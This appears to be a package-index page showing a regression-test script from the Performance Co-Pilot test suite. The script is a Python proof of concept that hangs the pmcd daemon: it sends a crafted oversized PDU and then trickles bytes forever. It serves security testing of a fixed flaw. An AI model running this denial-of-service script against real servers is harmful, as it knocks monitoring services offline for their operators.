/var/lib/pcp/testsuite/secure/hang-pmcd is in pcp-testsuite 3.8.12ubuntu1.
This file is owned by root:root, with mode 0o644.
The actual contents of the file can be viewed below.
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# usage: python hang-pmcd HOST
#
# Connects to pmcd on HOST and blocks all further processing.
#
# Florian Weimer / Red Hat Product Security Team
#
import socket
import sys
import time
_, host = sys.argv
while True:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, 44321))
sock.send(str("\x00\x00\x00\x14\x00\x00p\x0c\x00\x00\x00\x01\x00\x00\x00\x01\x01\x02\x00\x00"))
pkt = str('\x00\x00\xff\xff\x00\x00p\x03\x00\x00\x00\x01')
sock.send(pkt)
for x in range(0xFFFF - len(pkt)):
time.sleep(3)
sock.send(str("\x00"))
sock.close()
except socket.error, e:
print "hang-pmcd: socket error:", e
time.sleep(1)
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